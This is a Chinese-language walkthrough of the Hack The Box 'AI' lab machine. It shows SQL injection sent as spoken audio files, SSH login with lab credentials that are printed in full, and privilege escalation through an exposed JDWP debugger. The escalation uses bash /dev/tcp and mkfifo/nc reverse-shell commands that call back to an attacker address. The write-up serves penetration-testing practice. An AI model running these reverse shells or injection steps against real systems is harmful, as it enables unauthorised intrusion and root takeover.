Hack The Box——AI

目錄

簡介

信息收集

漏洞發現

漏洞利用

權限提升

總結


簡介

這是一個比較有創意、考驗腦洞的靶機(可能是我見識少),難度主要集中在漏洞發現部分。我按一般邏輯進行滲透,在發現文件上傳點和兩個文件(db.php和intelligence.php)之後,嘗試繞過上傳無果,只好藉助強大的Google進行尋找思路了,原來是通過上傳的wav音頻文件進行SQL注入,然後獲取用戶名和密碼通過SSH登錄遠程主機,最後利用Java調試器進行權限提升。

信息收集

首先進行全端口掃描:nmap -sS -A -p 0-65535 10.10.10.163,如圖:

發現開啓22和80端口,主機使用的是Apache httpd 2.4.29版本,然後訪問80端口,發現使用的後端語言是php,且存在上傳頁面,如圖:

 嘗試上傳txt,php和構造的文件頭爲RIFF的wav文件,頁面返回的input和Query result 都爲空,如圖:

使用Dirbruster進行目錄掃描,如圖:

發現db.php和intelligence.php文件,如圖:

 然後訪問db.php發現頁面無任何返回信息,查看源代碼也沒有信息,然後訪問intelligence.php,如圖:

看了一下沒當回事,然後看到下邊的Note: Currently our is API well familiar with Male-US model ,以爲是和平常的API一樣,然後我試着加一些參數測試,發現完全沒變化,搜索Male-US模型也沒查到啥有用的信息(後來才發現這是男性英語的含義,僅僅是字面意思,怪我想多了)。

漏洞發現

然後又回過頭來仔細看了看上邊的表格發現,這應該是左邊輸入的字符串對應右邊AI識別的字符串,也就是用聲音告訴AI我們要執行的操作,然後AI執行之後返回給我們信息,只不過這裏的AI只能識別英文的聲音。但是這些字符串怎麼讓AI接收到呢?當然是通過之前的ai.php頁面的上傳功能了,因此需要使用把文本轉換成wav格式的音頻的工具,當在linux下使用espeak程序將英文文本轉換爲wav音頻文件上傳之後,無法達到預期的效果,但使用festival下的text2wave工具生成的wav文件可以達到預期的效果,text2speech.org也可以,類似的軟件應該不少。

從ai.php頁面顯示的信息可以分析出這裏的AI只能執行數據庫中的查詢和刪除命令,從使用的Web容器和後端語言推測這裏使用的數據庫應該是MySQL,分析表格發現Comma爲“逗號”的英文單詞,表格中未提供“單引號”的英文單詞,使用翻譯軟件獲取“左單引號”的單詞(single openning quote),發現不可以使用,後來查找到Windows 語音API文檔,才發現左單引號爲open single quote,然後使用echo "open single quote" | text2wave -o test.wav生成wav文件,然後上傳即可驗證,如圖:

漏洞利用

嘗試使用聯合查詢注入查看數據庫名:'union select database() -- ,結合上述表格中信息及Windows 語音API文檔查找“左括號”和“右括號”的單詞進行翻譯:open single quote join select database open parenthesis close parenthesis comment database,然後保存到voice.txt文件,使用text2wave voice.txt -o db.wav生成db.wav文件,如圖:

 應該是發音的問題,從intelligence.php頁面可以發現此AI對男性的聲音有更好的支持,發音較好的讀者應該不需要使用工具,直接錄製聲音上傳就可以達到預期效果。嘗試添加逗號分割連音:open single quote, join, select, database open parenthesis close parenthesis comment database,然後生成wav文件進行上傳,如圖:

成功進行SQL注入,然後就是獲取數據表,獲取列名,獲取字段值了,這些就不細說了。最後獲取到了users表,表中存在username和password字段,接着獲取字段username和password的值,“alexa”和“H,Sq9t6}a<)?q93_”。注入過程中需要注意的是注入過程中使用逗號進行分割連音。

然後嘗試使用獲取到的用戶名和密碼通過ssh登錄系統,如圖:

成功登錄系統。

權限提升

查看網站目錄/var/www/html,如圖:

python文件爲將上傳的wav文件轉換爲文本的程序(即“AI”),db.php中包含mysql登錄用戶名和密碼,查詢數據庫雖然發現了root的密碼,但並不能通過該方法獲取root權限。然後查看系統內核版本,如圖:

內核版本較新,使用searchsploit未發現該版本的權限提升漏洞,無法從內核進行提權了。然後使用ps -aux | grep root命令查看root用戶運行的程序:

可以看到root用戶運行這tomcat程序,且在8000端口開啓了java調試程序,jdwp存在遠程代碼執行漏洞。然後查看開啓的端口,如圖:

確定8000端口是打開的,但是之前使用Nmap掃描的時候卻沒掃描出,說明防火牆禁止了對該端口的訪問,那就需要將目標主機的8000端口轉發到本地纔可以驗證漏洞是否可用。使用ssh -L 8000:127.0.0.1:8000 [email protected]命令將目標主機8000端口轉發到本地8000端口,然後查看本地是否開啓端口,如圖:

然後下載JDWP遠程代碼利用腳本,然後開啓4444端口等待root shell連接,如圖:

然後執行./jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "bash -i >& /dev/tcp/10.10.14.68/4444 0>&1",如圖:

嘗試多次也未獲得root shell,嘗試寫入文件然後執行也無法獲得root shell。然後嘗試在目標機器創建exp.sh文件,寫入:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.68 4444 >/tmp/f,執行./jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd '/home/alexa/exp.sh'數次,如圖:

成功獲取root shell。

總結

本文記錄了對Hack The Box::AI靶機的完整滲透測試流程。從信息收集到分析並發現了網站存在着不同尋常的SQL注入漏洞,接着利用SQL注入漏洞獲取到用戶名和密碼(恰巧該用戶名和密碼是AI主機的普通用戶,可以使用ssh成功登錄),從而獲得普通shell,然後利用root用戶運行的Java調試器結合jdwp遠程命令執行漏洞提升爲root權限的shell。期間由於英文水平不高而遇到很多坎,但最終還是克服了困難。由於網絡環境不良好,提權部分需要多次嘗試。儘管嘗試數次使用bash反彈shell(有時候漏洞利用程序成功執行),但是仍未獲得root shell,轉而使用nc反彈shell嘗試數次之後成功獲得root權限的shell。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章